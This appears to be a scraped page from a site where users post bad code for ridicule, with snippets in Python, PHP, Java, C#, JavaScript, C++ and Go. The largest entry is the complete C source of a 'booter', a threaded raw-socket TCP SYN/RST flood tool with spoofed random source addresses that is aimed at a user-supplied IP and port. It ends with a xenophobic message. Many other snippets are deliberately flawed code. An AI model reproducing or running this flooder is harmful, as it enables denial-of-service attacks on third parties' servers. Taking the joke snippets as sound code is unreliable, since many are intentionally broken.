import cv2
import numpy as np

cap = cv2.VideoCapture(0)

while (1):

    _, frame = cap.read()

    hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)

    lower_green = np.array([40, 50, 50])
    upper_green = np.array([80, 102, 200])

    # Threshold the HSV image to get only green colors
    mask = cv2.inRange(hsv, lower_green, upper_green)

    total_pixels = mask.shape[0] * mask.shape[1]
    print "Number of pixels: %", total_pixels

    pixel_counter = 0
    x_counter = 0
    y_counter = 0
    for y in xrange(640):
        for x in xrange(480):
            pixel = mask[x, y]
            if pixel == 255:
                pixel_counter += 1
                x_counter += x
                y_counter += y
    x_center = x_counter / pixel_counter
    y_center = y_counter / pixel_counter
    print x_center, y_center

    cv2.line(frame, (x_center+15, y_center), (x_center+2, y_center), (235, 218, 100), 1)
    cv2.line(frame, (x_center-15, y_center), (x_center-2, y_center), (235, 218, 100), 1)
    cv2.line(frame, (x_center, y_center+15), (x_center, y_center+2), (235, 218, 100), 1)
    cv2.line(frame, (x_center, y_center-15), (x_center, y_center-2), (235, 218, 100), 1)

    cv2.circle(frame, (x_center, y_center), 4, (235, 218, 100), 2)

    cv2.imshow('frame', frame)

    k = cv2.waitKey(5) & 0xFF
    if k == 27:
        break

cv2.destroyAllWindows()

track the green color

By Vik.victory, 2017-06-23 19:10:32
def get_first_index_of_array(array):
    """
    this function is very usefull for get first index of array
    """
    return array[0]


assert get_first_index_of_array([1, 2, 3, 4, 5]) == 1
assert get_first_index_of_array([1, 2, 3, 4, 5]) != 2
assert get_first_index_of_array([1, 2, 3, 4, 5]) != 3
assert get_first_index_of_array([1, 2, 3, 4, 5]) != 4
assert get_first_index_of_array([1, 2, 3, 4, 5]) != 4
By Mohammad Hosseini, 2017-12-13 15:29:01
<?php
    if(isset($_POST['csrf'])){
        if($_POST['csrf'] !== $_SESSION['csrf']){
            return 'session expired!';
        }
    }

In all Sama Samaneh university and class management system from iran :)

By Mahmoud etc, 2017-12-14 11:21:23


public static MyClass {
    private static volatile ProcessManager singleton = null;
    
    public static ProcessManager getInstance() throws Exception {
        if (singleton == null) {
            synchronized (MyClass.class) {
                if (singleton == null) {
                    singleton = new ProcessManager();
                }
            }
        }
        return singleton;
    }
}

The double-checking was invented prior to Java5.

The purpose is if the field isn't null, you don't have to synchronize. But since the java memory model specification was cleaned up and Synchronize/Volatile were given much better specification and semantics it is totally useless boilerplate that you should only write if you have to support Java4. There is a Google Tech Talk that covers this.

By cody, 2017-12-12 08:02:01
// Return flagged enum with inverted selected flag value
public static TEnum SwapFlag<TEnum>(this TEnum target, TEnum flag) where TEnum : Enum
    {
        if (target.HasFlag(flag)) return (TEnum)(object)((int)(object)target & ~(int)(object)flag);

        return (TEnum)(object)((int)(object)target | (int)(object)flag);
    }
By Anonymous, 2024-08-30 05:25:08
function generateArrayFrom1To10()
{
    let a = 0;
    let b = 1;
    let c = 3;
    let d = 4;
    let e = 5;
    let f = 6;
    let g = 7;
    let h = 8;
    let i = 9;
    
    let array = [a,b,c,d,e,f,g,h,i];
    
    return array;
    
}
By Melon Tasters, 2019-07-11 18:06:38
  if(!Hardware::initialize()) {
    Serial.println("Hardware initialization failed!");
    for(;;){}
  }

  if(!UI.begin()) {
    Serial.println("SSD1306 allocation failed");
    for(;;){}
  }

For is best ever, why even bother with While, or even Return... Source of code: https://github.com/MausTec/nogasm-wifi/blob/master/ESP32_WiFi.ino

By Anonymous, 2020-11-22 20:05:34
foreach($bookings as $booking) {
	$status = $apiController->getBookingStatus($booking);
	if($status->error == 1) {
		switch($status->message) {
			case "FIND_PRV_KO": continue; //Wrong parameters
			case "ERR_PREN_NOTFOUND": continue; //Request booking cannot be found
			case "ERR_PRV_NOTFOUND": continue; //Check-in not carried out
			default: continue;
		};
		continue;
	}
	//DO SOME STUFF...
}

Found this on a production website

By Samuel, 2021-03-29 17:52:33
#1112 LSL -10
//
//
// SYBEX 3.0 BOOTER.PW
//
//  Specially made to Serial from Alemalakra.
//
//  Type: TCP-RST Spoofed Bypass PPS.
//  Price: ????????
//  Version: 3.0
//  
//  "-1" PPS For use all Packets-Per-Second.
//  "0" on Port for send Destination-ports fully random, New Bypass.
//  Improved whole script, Works on most targets, Including digital ocean and Hetzner.
//
//

#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include <arpa/inet.h>
#include<netinet/ip.h>    //Provides declarations for ip header
#include <pthread.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#include <time.h>
static unsigned int floodport;
#define BUFFER_SIZE 100
char sourceip[17];
volatile int limiter; // PPS Limitator.
volatile unsigned int pps; // PPS per Second, Global variable including for Threads.
volatile unsigned int sleeptime = 100; // Sleep in miliseconds for each packet if pps exeded.

volatile unsigned int lenght_pkt = 0;
struct pseudo_header
{
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t tcp_length;
    struct tcphdr tcp;
};

unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
     
    return(answer);
}

void *mexico(void *par1)
{

    // Make socket

    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);


    if(s == -1)
    {
        perror("[!] For use Script you need root stupid...");
        exit(1);
    }


    // Declares

    char *targettr = (char *)par1;

    char datagram[4096] , source_ip[32] , *data , *pseudogram;

    //zero out the packet buffer
    memset (datagram, 0, 4096);

    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;

    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;

    //Data part
    data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
    if (lenght_pkt == 0)  { // bypass pps
        data = "";
    }


    // Source Address and Such.


    char primera [ 20 ] ;


    int one_r = randommexico(1, 250);
    int two_r = randommexico(1, 250);
    int three_r = randommexico(1, 250);
    int four_r = randommexico(1, 250);
    snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
    
    snprintf(sourceip, sizeof(sourceip)-1, primera);
    strcpy(source_ip , sourceip);
    sin.sin_family = AF_INET;


    int rdzeroport;

    if (floodport == 0) {
        rdzeroport = randommexico(2, 65535);

        sin.sin_port = htons(rdzeroport);
        tcph->dest = htons (rdzeroport);

    } else {

        sin.sin_port = htons(floodport);
        tcph->dest = htons (floodport);

    }



    sin.sin_addr.s_addr = inet_addr (targettr);
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
    iph->id = htons(1);
    iph->frag_off = 0;
    iph->ttl = 64;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0; 
    iph->saddr = inet_addr ( source_ip );  
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
    int randSeq = randommexico(10000, 99999);
    int randAckSeq = randommexico(10000, 99999);
    int randSP = randommexico(2, 65535);
    int randPD = randommexico(2, 65535);
    int randttl = randommexico(1, 255);
    int randihl = randommexico(4, 7);
    int randWin = randommexico(1000, 9999);
    tcph->source = randSP;

    tcph->seq = randSeq;
    tcph->ack_seq = 0;
    tcph->doff = 5;
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = randWin;
    tcph->check = 0;
    tcph->urg_ptr = 0;

    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );


    int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
    pseudogram = malloc(psize);
     
    memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
    memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
     
    tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);


    //tcph->check = checksum_tcp_packet( (unsigned short*) &psh , sizeof (struct pseudo_header));
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        exit(0);
    }
    int i;
    while (1)
    {
        //Send the packet
        if (sendto (s, datagram, iph->tot_len ,  0, (struct sockaddr *) &sin, sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("[!] Error sending Packet!\n");
            exit(0);
        } else {
            one_r = randommexico(1, 250);
            two_r = randommexico(1, 250);
            three_r = randommexico(1, 250);
            four_r = randommexico(1, 250);
            snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
            snprintf(sourceip, sizeof(sourceip)-1, primera);
            strcpy(source_ip , sourceip);

            iph->saddr = inet_addr ( source_ip ); 
            psh.source_address = inet_addr( source_ip );
            if (lenght_pkt == 0) { // bypass pps
                data = "";
            }


            if (floodport == 0) {
                rdzeroport = randommexico(2, 65535);

                sin.sin_port = htons(rdzeroport);
                tcph->dest = htons (rdzeroport);

            } else {

                sin.sin_port = htons(floodport);
                tcph->dest = htons (floodport);
                
            }


            randSeq = randommexico(10000, 99999);
            randAckSeq = randommexico(10000, 99999);
            randSP = randommexico(2, 65535);
            randPD = randommexico(2, 65535);
            randttl = randommexico(1, 255);
            randWin = 512;

            tcph->source = randSP;
            tcph->doff = 5;      /* first and only tcp segment */
            tcph->seq = htons(randSeq);
            tcph->ack  = 0;
            tcph->ack_seq = 0;
            tcph->psh  = 0; 
            tcph->fin  = 0;
            tcph->rst  = 1;
            tcph->res2 = 0;
            tcph->doff = 5;
            tcph->syn = 0; 
            tcph->urg  = 0;
            tcph->urg_ptr = 0;

            tcph->window = htons(0);
            tcph->check = 0;

            iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
            iph->protocol = IPPROTO_TCP;
            iph->check = 0;      //Set to 0 before calculating checksum
            iph->daddr = sin.sin_addr.s_addr;
            iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);

            psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
            int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
            pseudogram = malloc(psize);
             
            memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
            memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
             
            tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
            int one = 1;
            const int *val = &one;
            if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
            {
                exit(0);
            }
            pps++;
            if(i >= limiter)
            {
                i = 0;
            }
            i++;
        }   
    }
}
int randommexico(int min, int max) {
   static bool first = true;
   if (first) {  
      srand( time(NULL) );
      first = false;
   }
   return min + rand() % (max + 1 - min);
}
int main(int argc, char *argv[ ])
{
    if(argc < 6){
        fprintf(stderr, "[!] Sybex 3.0 Priv8 TCP Bypass by Alemalakra.\n");
        fprintf(stdout, "[!] Usage: %s <IP> <PORT> <THREADS> <TIME> <PPS>\n", argv[0]);
        exit(-1);
    }
    int multiplier = 20;
    pps = 0;
    limiter = 0;

    // Arguments of Method.

    floodport = atoi(argv[2]);
    void * target = argv[1];
    int maxim_pps = atoi(argv[5]);
    int num_threads = atoi(argv[3]);
    lenght_pkt = 0;
    pthread_t thread[num_threads];
    int alem = 0;
    int i;
    for(alem = 0;alem<num_threads;alem++){
      pthread_create( &thread[alem], NULL, &mexico, (void *)argv[1]); // Target
    }
    fprintf(stdout, "[!] Sending attack, Please stop inmigrants!\n");
     
    return 0;
}

alems shitty ass code

By Alemalakra, 2020-05-14 16:18:58
void winner(int score[4])
{
    
    if (score[0] > score[1] > score[2] > score[3])
        cout << "The winner is the Player 1 with " << score[0] << " points.";
    else if (score[1] > score[0] > score[2] > score[3])
        cout << "The winner is the Player 2 with " << score[1] << " points.";
    else if (score[2] > score[0] > score[1] > score[3])
        cout << "The winner is the Player 3 with " << score[2] << " points.";
    else if (score[3] > score[2] > score[1] > score[0])
        cout << "The winner is the Player 4 with " << score[3] << " points.";
}
By Anonymous, 2020-05-17 16:06:24
function renderGroupSelectedSuccessors() {
    var index = 0;
    if (tempSuccessorsGroupsList != null && tempSuccessorsGroupsList.length > 0) {
        var groups = tempSuccessorsGroupsList.splice(0, PageSettings.lazyRenderItemsPerPage);
        var groupSuccessors = '';
        for (var i = 0; i < groups.length; i++) {
            if (index % 10 == 0) {
                groupSuccessors += '<div style="float: left;"><ul>';
            }
            groupSuccessors += '<li><a data-groupid="'+groups[i].GroupID+'">' + groups[i].GroupName + '</a></li>';            
            index++;
            if (index % 10 == 0 || i == groups.length - 1) {
                groupSuccessors += '</ul></div>';
            }
        }
        $('#divGroupSuccessorsList').append(groupSuccessors);
        SetCheckBoxState();
        setTimeout(renderGroupSelectedSuccessors, 50);
    }
}

Where does the data come from? Where does it go? Why isn't this an endless recursive loop? Why has this worked for three years?

By Anonymous, 2019-05-10 13:20:47
#112 Go -10
if err != nil {
    return err
}
By the intelligentsia of /r/pcj, 2017-12-12 09:37:38
	// Check if marked for deletion and run finalizers
	if k8sutil.IsMarkedForDeletion(instance.ObjectMeta) {
		return r.checkFinalizers(ctx, log, instance)
	}
By Anonymous, 2019-12-31 15:25:32
this.onSubmit = this.onSubmit.bind(this)
this.onClose = this.onClose.bind(this)

somewhere in react-native app

By fluttershy, 2018-01-08 08:01:40
set_locations(locations){
    return new Promise((resolve, reject) => {
        this.locations = locations;
        resolve();
    });
}
By Anonymous, 2018-04-04 14:44:45